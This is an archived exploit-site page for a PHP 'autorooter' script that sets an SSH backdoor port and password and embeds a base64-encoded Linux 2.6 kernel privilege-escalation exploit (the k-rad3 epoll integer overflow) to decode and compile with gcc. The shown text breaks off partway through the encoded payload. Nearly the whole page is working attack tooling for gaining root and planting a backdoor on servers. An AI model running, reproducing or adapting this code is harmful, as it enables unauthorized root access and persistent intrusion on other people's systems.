exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

PHP Autorooter Script

PHP Autorooter Script
Posted Dec 30, 2008
Authored by Rohit Bansal

PHP Autorooter that encodes exploits in Base64 and then decodes them and compiles them with gcc.

tags | exploit, php
SHA-256 | dad858b67667d67dc91c0c6bb8aa6779134347d2029f21d5bec096a6b7bcf35d

PHP Autorooter Script

Change Mirror Download
<?PHP
/*
Rohit Bansal
[B]Root Forcer
MSN: rohitisback@gmail.com
*/
/***********************************
Your Config Info
***********************************/
$port = "8080"; // Your port to be used if Root is obtained (for SSHdoor)
$pass = "Roxors"; // Your password to be used if Root is obtained (for SSHdoor)
$dir = "expl0it"; // The folder where all exploits are stored (will be removed after root or failure)
/***********************************
Exploit Variables
***********************************/
$two_six = array(); // all 2.6 exploits get stored as an array for later foreach usage

//Linux 2.6.x - 2.6.11
$two_six[0] = base64_decode("LyoNCiogay1yYWQzLmMgLSBsaW51eCAyLjYuMTEgYW5kIGJlbG93IENQTCAwIGtlcm5lbCBsb2NhbCBleHBsb2l0IHYzDQoqIERpc2NvdmVyZWQgYW5kIG9yaWdpbmFsIGV4cGxvaXQgY29kZWQgSmFuIDIwMDUgYnkgc2QgPHNkQGZ1Y2tzaGVlcC5vcmc+DQoqDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCioNCiogTW9kaWZpZWQgMjAwNS85IGJ5IGFsZXJ0NyA8YWxlcnQ3QHhmb2N1cy5vcmc+DQoqIFhGT0NVUyBTZWN1cml0eSBUZWFtIGh0dHA6Ly93d3cueGZvY3VzLm9yZw0KKg0KKiBnY2MgLW8gay1yYWQzIGstcmFkMy5jIC1zdGF0aWMgLU8yDQoqDQoqIHRlc3RlZCBzdWNjZWVkIDoNCiogICAgICAgIG9uIGRlZmF1bHQgaW5zdGFsbGVkIFJIRUw0KDIuNi45LTUuRUwgYW5kIDIuNi45LTUuRUxzbXApDQoqICAgICAgICAgICAgIDIuNi45LTUuRUwgLi9rLXJhZDMgLXAgMg0KKiAgICAgICAgICAgICAyLjYuOS01LkVMc21wIC4vay1yYWQzIC1hIC1wIDcNCiogICAgICAgIG9uIGRlZmF1bHQgaW5zdGFsbGVkIG1hZ2xpYyBsaW51eCAxLjIgDQoqICAgICAgICAgICAgIE1hZ2ljTGludXggMi42LjkgIzEgLi9rLXJhZDMgLXQgMSAtcCAyDQoqDQoqIHRoYW5rIHdhdGVyY2xvdWQgdGVzdGVkIG1hZ2xpYyBsaW51eCAxLjINCiogdGhhbmsgZWlzdCBwcm92aWRlIFJIRUw0IHRvIHRlc3QNCiogdGhhbmsgc2QgPHNkQGZ1Y2tzaGVlcC5vcmc+IHNoYXJlIGhpcyBzdHVmZi4NCiogdGhhbmsgeGZvY3VzICYgeGZvY3VzXCdzIGZpcmVuZHMNCioNCioNCiogVE9ETzoNCiogICAgICAgICBDQVNFIDE6IHVzZSBzdGFjayA+IDB4YzAwMDAwMDANCiogICAgICAgICBDQVNFIDI6IENPTkZJR19YODZfUEFFIGRlZmluZSAsYnV0IGNwdSBmbGFnIG5vIHBzZQ0KKg0KKlthbGVydDdATWFnaWNMaW51eCB+XSQgLi9rLXJhZDMgLWgNCipbICBrLXJhZDMgLSA8PWxpbnV4IDIuNi4xMSBDUEwgMCBrZXJuZWwgZXhwbG9pdCAgXQ0KKlsgRGlzY292ZXJlZCBKYW4gMjAwNSBieSBzZCA8c2RAZnVja3NoZWVwLm9yZz4gXQ0KKlsgTW9kaWZpZWQgMjAwNS85IGJ5IGFsZXJ0NyA8YWxlcnQ3QHhmb2N1cy5vcmc+IF0NCioNCipVc2FnZTogLi9rLXJhZDMNCiogICAgICAgLXMgZm9yY2VkIGNwdSBmbGFnIHBzZQ0KKiAgICAgICAgLWEgZGVmaW5lIENPTkZJR19YODZfUEFFLGRlZmF1bHQgbm9uZQ0KKiAgICAgICAgLWUgPG51bT4gaGF2ZSB0d28ga2VybmVsIGNvZGUsZGVmYXVsdCAwDQoqICAgICAgICAtcCA8bnVtPiBhbGxvYyBwYWdlcyg0aykgLGRlZmF1bHQgMS4gSW5jcmVhc2UgZnJvbSAxIHRvIDcNCiogICAgICAgICAgICAgICAgVGhlIGhpZ2hlciBudW1iZXIgdGhlIG1vcmUgbGlrZWx5IGl0IHdpbGwgY3Jhc2gNCiogICAgICAgIC10IDxudW0+IGRlZmF1bHQgMA0KKiAgICAgICAgICAgICAgICAwIDpUSFJFQURfU0laRSBpcyA0MDk2O290aGVyd2lzZSBUSFJFQURfU0laRSBpcyA4MTkyDQoqDQoqW2FsZXJ0N0BNYWdpY0xpbnV4IH5dJCAuL2stcmFkMyAtdCAxIC1wIDINCipbICBrLXJhZDMgLSA8PWxpbnV4IDIuNi4xMSBDUEwgMCBrZXJuZWwgZXhwbG9pdCAgXQ0KKlsgRGlzY292ZXJlZCBKYW4gMjAwNSBieSBzZCA8c2RAZnVja3NoZWVwLm9yZz4gXQ0KKlsgTW9kaWZpZWQgMjAwNS85IGJ5IGFsZXJ0NyA8YWxlcnQ3QHhmb2N1cy5vcmc+IF0NCipbK10gdHJ5IG9wZW4gL3Byb2MvY3B1aW5mbyAuLiBvayEhDQoqWytdIGZpbmQgY3B1IGZsYWcgcHNlIGluIC9wcm9jL2NwdWluZm8NCipbK10gQ09ORklHX1g4Nl9QQUUgOm5vbmUNCipbK10gQ3B1IGZsYWc6IHBzZSBvaw0KKlsrXSBFeHBsb2l0IFdheSA6IDANCipbK10gVXNlIDIgcGFnZXMgKG9uZSBwYWdlIGlzIDRLICkscmV3cml0ZSAweGMwMDAwMDAwLS0oMHhjMDAwMjAwMCArIG4pDQoqWytdIHRocmVhZF9zaXplIDEgKDAgOlRIUkVBRF9TSVpFIGlzIDQwOTY7b3RoZXJ3aXNlIFRIUkVBRF9TSVpFIGlzIDgxOTINCipbK10gaWR0ci5iYXNlIDB4YzA0NjEwMDAgLGJhc2UgMHhjMDAwMDAwMA0KKlsrXSBrd3JpdGUgYmFzZSAweGMwMDAwMDAwLCBidWYgMHhiZmZlZDc1MCxudW0gODE5Ng0KKlsrXSBpZHRbMHg3Zl0gYWRkciAweGZmYzAwM2Y4DQoqWytdIGowMCAxdShrNyBrMWQhDQoqW3Jvb3RAay1yYWQzIH5dICNpZA0KKnVpZD0wKHJvb3QpIGdpZD0wKHJvb3QpIGdyb3Vwcz01MDAoYWxlcnQ3KQ0KKg0KKg0KKiAgTGludXggS2VybmVsIDw9IDIuNi4xMSBcInN5c19lcG9sbF93YWl0XCIgTG9jYWwgaW50ZWdlciBvdmVyZmxvdyBFeHBsb2l0DQoqIA0KKiBcIml0IGlzIHBvc3NpYmxlIHRvIHBhcnRpYWxseSBvdmVyd3JpdGUgbG93IGtlcm5lbCAoID49IDIuNiA8PSAyLjYuMTEpIA0KKiBtZW1vcnkgZHVlIHRvIGludGVnZXIgb3ZlcmZsb3cgaW4gc3lzX2Vwb2xsX3dhaXQgYW5kIG1pc3VzZSBvZg0KKiBfX3B1dF91c2VyIGluIGVwX3NlbmRfZXZlbnRzXCINCiogR2VvcmdpIEd1bmluc2tpOiBodHRwOi8vc2VjbGlzdHMub3JnL2xpc3RzL2Z1bGxkaXNjbG9zdXJlLzIwMDUvTWFyLzAyOTMuaHRtbA0KKg0KKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQoqDQoqDQoqIEluIG1lbW9yeSBvZiBwd25lZC5jICh1c2VsaWIpDQoqIA0KKiAtIFJlZGlzdHJpYnV0aW9ucyBvZiBzb3VyY2UgY29kZSBpcyBub3QgcGVybWl0dGVkLg0KKiAtIFJlZGlzdHJpYnV0aW9ucyBpbiB0aGUgYmluYXJ5IGZvcm0gaXMgbm90IHBlcm1pdHRlZC4NCiogLSBSZWRpc3RyaWJ1dGlvbnMgb2YgdGhlIGFib3ZlIGNvcHlyaWdodCBub3RpY2UsIHRoaXMgbGlzdCBvZiBjb25kaXRpb25zLA0KKiBhbmQgdGhlIGZvbGxvd2luZyBkaXNjbGFpbWVyIGlzIHBlcm1pdHRlZC4NCiogLSBCeSBwcm9jZWVkaW5nIHRvIGEgUmVkaXN0cmlidXRpb24gYW5kIHVuZGVyIGFueSBmb3JtIG9mIHRoZSBQcm9ncmFtDQoqIHRoZSBEaXN0cmlidXRvciBpcyBncmFudGluZyBvd25lcnNoaXAgb2YgaGlzIFJlc291cmNlcyB3aXRob3V0DQoqIGxpbWl0YXRpb25zIHRvIHRoZSBjb3B5cmlnaHQgaG9sZGVyKHMpLg0KKg0KKiANCiogU2luY2Ugd2UgYWxyZWFkeSBvd25lZCBldmVyeW9uZSwgdGhlcmVzIG5vIHBvaW50IGtlZXBpbmcgdGhpcyBwcml2YXRlDQoqIGFueW1vcmUuDQoqDQoqIGh0dHA6Ly9zZWNsaXN0cy5vcmcvbGlzdHMvZnVsbGRpc2Nsb3N1cmUvMjAwNS9NYXIvMDI5My5odG1sDQoqDQoqIFRoYW5rcyB0byBvdXIgaW50ZXJuZXQgaGVybyBnZW9yZ2kgZ3VuaW5za2kgZm9yIGJlaW5nIHN1Y2ggaW5jcmVkaWJsZQ0KKiB3aGl0ZWhhdCBkaXNjbG9zaW5nIG9uZSBvZiB0aGUgbW9zdCByZWxpYWJsZSBrZXJuZWwgYnVncy4NCiogWW91IHNhdmVkIHRoZSB3b3JsZCwgbWFuLCB3ZSBvd2UgeW91IG9uZSENCioNCiogVGhpcyB2ZXJzaW9uIGlzIHNvbWV3aGF0IGJyb2tlbiwgYnV0IHNraWxsZWQgcmVhZGVyIHdpbGwgZ2V0IGFuIGlkZWEuDQoqIFdlbGwsIGF0IGxlYXN0IGxldCB0aGUgc2NyaXB0a2lkcyBoYXZlIGZ1biBmb3IgYSB3aGlsZS4NCioNCiogVGhhbmtzIHRvIGFsbCB3aG8gaGVscGVkIG1lIGRldmVsb3BpbmcvdGVzdGluZyB0aGlzLCB5b3Uga25vdyB3aG8geW91IGFyZSwNCiogYW5kIGVzcGVjaWFsbHkgdG8gbXkgZ2YgZm9yIGd1aWRhbmNlIHdoaWxlIGNvZGluZyB0aGlzLg0KKg0KKi8NCg0KI2RlZmluZSBfR05VX1NPVVJDRQ0KDQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+DQojaW5jbHVkZSA8c3lzL2Vwb2xsLmg+DQojaW5jbHVkZSA8c3lzL21tYW4uaD4NCiNpbmNsdWRlIDxzeXMvcmVzb3VyY2UuaD4NCiNpbmNsdWRlIDxsaW51eC9jYXBhYmlsaXR5Lmg+DQojaW5jbHVkZSA8YXNtL3VuaXN0ZC5oPg0KI2lmbmRlZiBfX1VTRV9HTlUNCgkjZGVmaW5lIF9fVVNFX0dOVQ0KI2VuZGlmDQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8ZXJybm8uaD4NCiNpbmNsdWRlIDxzaWduYWwuaD4NCiNpbmNsdWRlIDxzdHJpbmcuaD4NCg0KLyoqDQogICogUmVsYXRpb25zaGlwIFZhcmlhYmxlcw0KICAqDQogICogMTogQ09ORklHX1g4Nl9QQUUgDQogICogICAgIHNlZSAvbGliL21vZHVsZXMvYHVuYW1lIC1yYC9idWlsZC8uY29uZmlnDQogICogICAgIDEuMTogcHNlDQogICogMjogVEhSRUFEX1NJWkUNCiAgKiAgICAgc2VlIGluY2x1ZGUvYXNtL3RocmVhZF9pbmZvLmggVEhSRUFEX1NJWkUgZGVmaW5lDQogICovDQoNCg0KI2RlZmluZSBNQVAgKDB4ZmZmZmYwMDAgLSAoMTAyMyo0MDk2KSkNCiNkZWZpbmUgTUFQX1BBRSAoMHhmZmZmZjAwMCAtICg1MTEqNDA5NikpDQojZGVmaW5lIE1LUFRFKGFkZHIpICgoYWRkciAmICh+NDA5NSkpIHwgMHgyNykNCiNkZWZpbmUgTUtQTUQoeCkgKDB4MWUzfDB4MDA0KQ0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KI2RlZmluZSBLUkFEUFMxIFwiay1yYWQzXCINCg0KI2RlZmluZSBrQiAqIDEwMjQNCiNkZWZpbmUgTUIgKiAxMDI0IGtCDQojZGVmaW5lIEdCICogMTAyNCBNQg0KDQojZGVmaW5lIEtSUyBcIlxcMDMzWzE7MzBtWyBcXDAzM1sxOzM3bVwiDQojZGVmaW5lIEtSRSBcIlxcMDMzWzE7MzBtIF1cXDAzM1swbVwiDQojZGVmaW5lIEtSQUQgXCJcXDAzM1sxOzMwbVtcXDAzM1sxOzM3bSpcXDAzM1sxOzMwbV1cXDAzM1swbSBcIg0KI2RlZmluZSBLUkFEUCBcIlxcMDMzWzE7MzBtW1xcMDMzWzE7MzdtK1xcMDMzWzE7MzBtXVxcMDMzWzBtIFwiDQojZGVmaW5lIEtSQURNIFwiXFwwMzNbMTszMG1bXFwwMzNbMTszN20tXFwwMzNbMTszMG1dXFwwMzNbMG0gXCINCg0KI2RlZmluZSBTRVRfSURUX0dBVEUoaWR0LHJpbmcscyxhZGRyKSBcXA0KCShpZHQpLm9mZjEgPSBhZGRyICYgMHhmZmZmOyBcXA0KCShpZHQpLm9mZjIgPSBhZGRyID4+IDE2OyBcXA0KCShpZHQpLnNlbCA9IHM7IFxcDQoJKGlkdCkubm9uZSA9IDA7IFxcDQoJKGlkdCkuZmxhZ3MgPSAweDhFIHwgKHJpbmcgPDwgNSk7IA0KDQovL2NvbmZpZyB2YWwNCnN0YXRpYyBpbnQgaGF2ZXBzZSAJCT0gMDsNCnN0YXRpYyBpbnQgZGVmaW5lUEFFCT0gMDsNCnN0YXRpYyBpbnQgZXhwbG9pdHdheQk9IDA7DQpzdGF0aWMgaW50IG5wYWdlcyAJCT0gMTsNCnN0YXRpYyBpbnQgdGhyZWFkX3NpemUgICA9IDA7DQoNCg0Kc3RhdGljIHVpZF90IHVpZAkJPSAwOw0Kc3RhdGljIHVuc2lnbmVkIGxvbmcgbG9uZyAqY2xlYXIxOw0Kc3RhdGljIGNoYXIgKiBwcm9nYXJndjA7DQoNCnN0cnVjdCBpZHRyIHsNCgl1bnNpZ25lZCBzaG9ydCBsaW1pdDsNCgl1bnNpZ25lZCBpbnQgYmFzZTsNCn0gX19hdHRyaWJ1dGVfXyAoKHBhY2tlZCkpOw0KDQpzdHJ1Y3QgaWR0IHsNCgl1bnNpZ25lZCBzaG9ydCBvZmYxOw0KCXVuc2lnbmVkIHNob3J0IHNlbDsNCgl1bnNpZ25lZCBjaGFyIG5vbmUsZmxhZ3M7DQoJdW5zaWduZWQgc2hvcnQgb2ZmMjsNCn0gX19hdHRyaWJ1dGVfXyAoKHBhY2tlZCkpOw0KDQoNCg0KI2RlZmluZSBfX3N5c2NhbGxfcmV0dXJuKHR5cGUsIHJlcykgXFwNCmRvIHsgXFwNCglpZiAoKHVuc2lnbmVkIGxvbmcpKHJlcykgPj0gKHVuc2lnbmVkIGxvbmcpKC0xMjUpKSB7IFxcDQoJZXJybm8gPSAtKHJlcyk7IFxcDQoJcmVzID0gLTE7IFxcDQoJfSBcXA0KCXJldHVybiAodHlwZSkgKHJlcyk7IFxcDQp9IHdoaWxlICgwKQ0KDQoNCiNkZWZpbmUgX2NhcGdldF9tYWNybyh0eXBlLG5hbWUsdHlwZTEsYXJnMSx0eXBlMixhcmcyKSBcXA0KCXR5cGUgbmFtZSh0eXBlMSBhcmcxLHR5cGUyIGFyZzIpIFxcDQoJeyBcXA0KCWxvbmcgX19yZXM7IFxcDQoJX19hc21fXyB2b2xhdGlsZSAoIFwiaW50ICQweDgwXCIgXFwNCgk6IFwiPWFcIiAoX19yZXMpIFxcDQoJOiBcIjBcIiAoX19OUl8jI25hbWUpLFwiYlwiICgobG9uZykoYXJnMSkpLFwiY1wiICgobG9uZykoYXJnMikpKTsgXFwNCglfX3N5c2NhbGxfcmV0dXJuKHR5cGUsX19yZXMpOyBcXA0KCX0NCg0Kc3RhdGljIGlubGluZSBfY2FwZ2V0X21hY3JvKGludCxjYXBnZXQsdm9pZCAqLGEsdm9pZCAqLGIpOw0KDQpzdGF0aWMgaW50IFRIUkVBRF9TSVpFX01BU0sgPSgtNDA5Nik7DQoNCg0Kc3RhdGljIHZvaWQgDQpmYXRhbChjb25zdCBjaGFyICptZXNzYWdlKQ0Kew0KCXN5c3RlbShcInVuYW1lIC1hXCIpOw0KCXByaW50ZihcIlstXSAlc1xcblwiLG1lc3NhZ2UpOw0KCWV4aXQoMSk7DQp9DQoNCnZvaWQga2VybmVsKHVuc2lnbmVkICogdGFzaykNCnsNCgl1bnNpZ25lZCAqIGFkZHIgPSB0YXNrOw0KCS8qIGxvb2tpbmcgZm9yIHVpZHMgKi8NCg0KCSpjbGVhcjEgPSAwOw0KDQoJd2hpbGUgKGFkZHJbMF0gIT0gdWlkIHx8IGFkZHJbMV0gIT0gdWlkIHx8DQoJCWFkZHJbMl0gIT0gdWlkIHx8IGFkZHJbM10gIT0gdWlkDQoJCSkNCgkJYWRkcisrOw0KCQ0KCWFkZHJbMF0gPSBhZGRyWzFdID0gYWRkclsyXSA9IGFkZHJbM10gPSAwOyAvKiBzZXQgdWlkcyAqLw0KCWFkZHJbNF0gPSBhZGRyWzVdID0gYWRkcls2XSA9IGFkZHJbN10gPSAwOyAvKiBzZXQgZ2lkcyAqLw0KDQp9DQogDQp2b2lkIGtjb2RlKHZvaWQpOw0Kdm9pZCBfX2tjb2RlKHZvaWQpDQp7DQoJYXNtKA0KCVwia2NvZGU6IFxcblwiDQoJXCJjbGQgXFxuXCINCglcIiBwdXNoYSBcXG5cIg0KCVwiIHB1c2hsICVlcyBcXG5cIg0KCVwiIHB1c2hsICVkcyBcXG5cIg0KCVwiIG1vdmwgJXNzLCVlZHggXFxuXCINCglcIiBtb3ZsICVlZHgsJWVzIFxcblwiDQoJXCIgbW92bCAlZWR4LCVkcyBcXG5cIik7DQoJX19hc21fXyhcIm1vdmwgJTAgLCUlZWF4XCIgOjpcIm1cIihUSFJFQURfU0laRV9NQVNLKSApOw0KCWFzbSgNCglcIiBhbmRsICVlc3AsJWVheCBcXG5cIg0KCVwiIHB1c2hsICglZWF4KSBcXG5cIg0KCVwiIGNhbGwga2VybmVsIFxcblwiDQoJXCIgYWRkbCAkNCwgJWVzcCBcXG5cIg0KCVwiIHBvcGwgJWRzIFxcblwiDQoJXCIgcG9wbCAlZXMgXFxuXCINCglcIiBwb3BhIFxcblwiDQoJXCIgY2xpIFxcblwiDQoJXCIgaXJldCBcXG5cIg0KCSk7DQp9DQoNCg0Kdm9pZCByYWlzZV9jYXAodW5zaWduZWQgbG9uZyAqdHMpDQp7DQovKiBtdXN0IGJlIG9uIGxvd2VyIGFkZHJlc3NlcyBiZWNhdXNlIG9mIGtlcm5lbCBhcmcgY2hlY2sgOikgKi8NCnN0YXRpYyBzdHJ1Y3QgX191c2VyX2NhcF9oZWFkZXJfc3RydWN0IGhlYWQ7DQpzdGF0aWMgc3RydWN0IF9fdXNlcl9jYXBfZGF0YV9zdHJ1Y3QgZGF0YTsNCnN0YXRpYyBzdHJ1Y3QgX191c2VyX2NhcF9kYXRhX3N0cnVjdCBuOw0KDQppbnQgaTsNCg0KKmNsZWFyMSA9IDA7DQpoZWFkLnZlcnNpb24gPSAweDE5OTgwMzMwOw0KaGVhZC5waWQgPSAwOw0KY2FwZ2V0KCZoZWFkLCAmZGF0YSk7DQovKiBzY2FuIHRoZSB0aHJlYWRfc3RydWN0ICovDQpmb3IgKGkgPSAwOyBpIDwgNTEyOyBpKyssIHRzKyspIA0Kew0KCS8qIGlzIGl0IGNhcGFiaWxpdGllcyBibG9jaz8gKi8NCglpZiAoICAodHNbMF0gPT0gZGF0YS5lZmZlY3RpdmUpICYmDQoJCSh0c1sxXSA9PSBkYXRhLmluaGVyaXRhYmxlKSAmJg0KCQkodHNbMl0gPT0gZGF0YS5wZXJtaXR0ZWQpKSANCgl7DQoJCS8qIHNldCBlZmZlY3RpdmUgY2FwIHRvIHNvbWUgdmFsICovDQoJCXRzWzBdID0gMHgxMjM0MTIzNDsNCgkJY2FwZ2V0KCZoZWFkLCAmbik7DQoJCS8qIGFuZCB0ZXN0IGlmIGl0IGhhcyBjaGFuZ2VkICovDQoJCWlmIChuLmVmZmVjdGl2ZSA9PSB0c1swXSkgDQoJCXsNCgkJCS8qIGlmIHNvLCB3ZVwncmUgaW4gOikgKi8NCgkJCXRzWzBdID0gdHNbMV0gPSB0c1syXSA9IDB4ZmZmZmZmZmY7DQoJCQlyZXR1cm47DQoJCX0NCgkJLyogb3RoZXJ3aXNlIGZpeCBiYWNrIHRoZSBzdHVmZg0KCQkoaWYgd2VcJ3ZlIG5vdCBjcmFzaGVkIGFscmVhZHkgOikgKi8NCgkJdHNbMF0gPSBkYXRhLmVmZmVjdGl2ZTsNCgl9DQp9DQpyZXR1cm47DQp9DQoNCg0Kdm9pZCBzdHViKHZvaWQpOw0Kdm9pZCBfX3N0dWIodm9pZCkNCnsNCglhc20gKA0KCVwic3R1Yjo7XCINCglcIiBwdXNoYTtcIg0KCSk7DQoJX19hc21fXyhcIm1vdmwgJTAgLCUlZWF4XCIgOjpcIm1cIihUSFJFQURfU0laRV9NQVNLKSApOw0KCWFzbSgNCglcIiBhbmQgJWVzcCwgJWVheDtcIg0KCVwiIHB1c2hsICglZWF4KTtcIg0KCVwiIGNhbGwgcmFpc2VfY2FwO1wiDQoJXCIgcG9wICVlYXg7XCINCglcIiBwb3BhO1wiDQoJXCIgaXJldDtcIg0KCSk7DQoNCn0NCg0KDQovKiB3cml0ZSB0byBrZXJuZWwgZnJvbSBidWYsIG51bSBieXRlcyAqLw0Kc3RhdGljIGludCANCmt3cml0ZSh1bnNpZ25lZCBiYXNlLCBjaGFyICpidWYsIGludCBudW0pDQp7DQojZGVmaW5lIERJViAyNTYNCiNkZWZpbmUgUkVTIDQNCg0KaW50IGVmZCwgYywgaSwgZmQ7DQppbnQgcGlbMl07DQpzdHJ1Y3QgZXBvbGxfZXZlbnQgZXY7DQppbnQgKnN0YWI7DQp1bnNpZ25lZCBsb25nIHB0cjsNCmludCBjb3VudDsNCnVuc2lnbmVkIG1hZ2ljID0gMHhmZmZmZmZmZiAvIDEyICsgMTsNCg0KCXByaW50ZihcIlsrXSBrd3JpdGUgYmFzZSAlcCwgYnVmICVwLG51bSAlZFxcblwiLCAodm9pZCAqKWJhc2UsYnVmLG51bSk7DQoJLyogaW5pdGlhbGl6ZSBlcG9sbCAqLw0KCWVmZCA9IGVwb2xsX2NyZWF0ZSg0MDk2KTsNCglpZiAoZWZkIDwgMCkNCgkJcmV0dXJuIC0xOw0KCQ0KCWV2LmV2ZW50cyA9IEVQT0xMSU58RVBPTExPVVR8RVBPTExQUkl8RVBPTExFUlJ8RVBPTExIVVA7DQoNCgkvKiAxMiBieXRlcyBwZXIgZmQgKyBvbmUgbW9yZSB0byBiZSBzYWZlbHkgaW4gc3RhY2sgc3BhY2UgKi8NCgljb3VudCA9IChudW0rMTEpLzEyK1JFUzsNCg0KCS8qIGRlc2MgYXJyYXkgKi8NCglzdGFiID0gYWxsb2NhKChjb3VudCtESVYtMSkvRElWKnNpemVvZihpbnQpKTsNCg0KCWZvciAoaSA9IDA7IGkgPCAoKGNvdW50K0RJVi0xKS9ESVYpKzE7IGkrKykgDQoJew0KDQoJCWlmIChzb2NrZXRwYWlyKEFGX1VOSVgsIFNPQ0tfREdSQU0sIDAsIHBpKSA8IDApDQoJCQlyZXR1cm4gLTE7DQoNCgkJc2VuZChwaVswXSwgXCJhXCIsIDEsIDApOw0KCQlzdGFiW2ldID0gcGlbMV07DQoJfQ0KDQoJLyogaGlnaGVzdCBmZCBhbmQgZmlyc3QgZGVzY3JpcHRvciAqLw0KCWZkID0gcGlbMV07DQoJLyogd2VcJ3ZlIHRvIGFsbG9jYXRlIHRoaXMgc2VwYXJhdGVseSBiZWNhdXNlIHdlIG5lZWQgdG8gaGF2ZQ0KCWl0XCdzIGZkIHByZXNlcnZlZCAtIHVzaW5nIHRoaXMgd2VcJ2xsIGJlIHdyaXRpbmcgYWN0dWFsIGJ5dGVzICovDQoJZXBvbGxfY3RsKGVmZCwgRVBPTExfQ1RMX0FERCwgZmQsICZldik7DQoJLy9wcmludGYoXCJFUE9MTF9DVExfQUREIGNvdW50ICV1XFxuXCIsY291bnQpOw0KCWZvciAoaSA9IDAsIGMgPSAwOyBpIDwgKGNvdW50LTEpOyBpKyspIA0KCXsNCgkJaW50IG47DQoJCW4gPSBkdXAyKHN0YWJbaS9ESVZdLCBmZCsyKyhpICUgRElWKSk7DQoJCWlmIChuIDwgMCkNCgkJCXJldHVybiAtMTsNCgkJZXBvbGxfY3RsKGVmZCwgRVBPTExfQ1RMX0FERCwgbiwgJmV2KTsNCgkJY2xvc2Uobik7DQoJfQ0KDQoJLyogaW4gXCduXCcgd2VcJ3ZlIHRoZSBsYXRlc3QgZmQgd2VcJ3JlIHVzaW5nIHRvIHdyaXRlIGRhdGEgKi8NCglmb3IgKGkgPSAwOyBpIDwgKChudW0rNykvOCk7IGkrKykgDQoJew0KCQkvKiBkYXRhIGJlaW5nIHdyaXR0ZW4gZnJvbSBlbmQgKi8NCgkJbWVtY3B5KCZldi5kYXRhLCBidWYgKyBudW0gLSA4IC0gaSAqIDgsIDgpOw0KCQllcG9sbF9jdGwoZWZkLCBFUE9MTF9DVExfTU9ELCBmZCwgJmV2KTsNCg0KCQkvKiB0aGUgYWN0dWFsIGtlcm5lbCBtYWdpYyAqLw0KCQlwdHIgPSAoYmFzZSArIG51bSAtIChpKjgpKSAtIChjb3VudCAqIDEyKTsNCgkJc3RydWN0IGVwb2xsX2V2ZW50ICpldmVudHMgPShzdHJ1Y3QgZXBvbGxfZXZlbnQgKilwdHI7DQoJCS8vcHJpbnRmKFwiZXBvbGxfd2FpdCB2ZXJpZnlfYXJlYSglcCwlcCkgYWRkciAlcCAlcFxcblwiLHB0cixtYWdpYyogc2l6ZW9mKHN0cnVjdCBlcG9sbF9ldmVudCkgLCZldmVudHNbMF0uZXZlbnRzLG1hZ2ljKTsNCgkJaW50IGlyZXQgPWVwb2xsX3dhaXQoZWZkLCAodm9pZCAqKSBwdHIsIG1hZ2ljLCAzMTMzNyk7DQoJCWlmIChpcmV0ID09LTEpDQoJCXsNCgkJCXBlcnJvcihcImVwb2xsX3dhaXRcIik7DQoJCQlmYXRhbChcIlRoaXMga2VybmVsIG5vdCB2dWxuZXJhYmlsaXR5ISEhXCIpOw0KDQoJCX0NCgkJLyogZG9uXCd0IGFzayB3aHkgKHJvdHRlbiByYi10cmVlcykgOikgKi8NCgkJaWYgKGkpDQoJCXsNCgkJCS8vcHJpbnRmKFwiZXBvbGxfd2FpdCB2ZXJpZnlfYXJlYSglcCwlcCkgJXBcXG5cIixwdHIsbWFnaWMqIHNpemVvZihzdHJ1Y3QgZXBvbGxfZXZlbnQpICxtYWdpYyk7DQoJCQlpcmV0ID0gZXBvbGxfd2FpdChlZmQsICh2b2lkICopcHRyLCBtYWdpYywgMzEzMzcpOw0KCSAgICAgICAgICAgICAgICBpZiAoaXJldCA9PS0xKQ0KICAgICAgICAJICAgICAgICB7DQogICAgICAgICAgICAgICAgCSAgICAgICBwZXJyb3IoXCJlcG9sbF93YWl0XCIpOw0KCQkJCWZhdGFsKFwiVGhpcyBrZXJuZWwgbm90IHZ1bG5lcmFiaWxpdHkhISFcIik7DQoJDQogICAgICAgIAkgICAgICAgIH0NCg0KCQl9DQoJfQ0KDQoJY2xvc2UoZWZkKTsNCglmb3IgKGkgPSAzOyBpIDw9IGZkOyBpKyspDQoJCWNsb3NlKGkpOw0KCQ0KCXJldHVybiAwOw0KCQ0KfQ0KDQovKiByZWFsLW1vZGUgaW50ZXJydXB0IHRhYmxlIGZpeHVwIC0gcG9pbnQgYWxsIGludGVycnVwdHMgdG8gaXJldC4NCmxldFwncyBob3BlIHRoaXMgd2lsbCBzaHV0IHVwIGFwbSAqLw0Kc3RhdGljIHZvaWQNCmZpeGludChjaGFyICpidWYpDQp7DQp1bnNpZ25lZCAqdGFiID0gKHZvaWQgKikgYnVmOw0KaW50IGk7DQoNCglmb3IgKGkgPSAwOyBpIDwgMjU2OyBpKyspDQoJCXRhYltpXSA9IDB4MDAwMDQwMDsgLyogMDAwMDowNDAwaCAqLw0KCS8qIGlyZXQgKi8NCglidWZbMHg0MDBdID0weGNmOyANCn0NCg0KLyogZXN0YWJsaXNoIHB0ZSBwb2ludGluZyB0byB2aXJ0dWFsIGFkZHIgXCdhZGRyXCcgKi8NCnN0YXRpYyBpbnQgDQptYXBfcHRlKHVuc2lnbmVkIGJhc2UsIGludCBwYWdlbnIsIHVuc2lnbmVkIGFkZHIpDQp7DQoJdW5zaWduZWQgKmJ1ZiA9IGFsbG9jYShwYWdlbnIgKiA0MDk2ICsgOCk7DQoJYnVmWyhwYWdlbnIpICogMTAyNF0gPSBNS1BURShhZGRyKTsNCglidWZbKHBhZ2VucikgKiAxMDI0KzFdID0gMDsJDQoJZml4aW50KCh2b2lkICopYnVmKTsNCglyZXR1cm4ga3dyaXRlKGJhc2UsICh2b2lkICopYnVmLCBwYWdlbnIgKiA0MDk2ICsgNCk7DQp9DQoNCi8qIG1ha2UgcG1lIHVzZXIgY2FuIHJ3ICovDQpzdGF0aWMgaW50IA0KbWFwX3BtZSh1bnNpZ25lZCBiYXNlLCBpbnQgcGFnZW5yLCB1bnNpZ25lZCBhZGRyKQ0Kew0K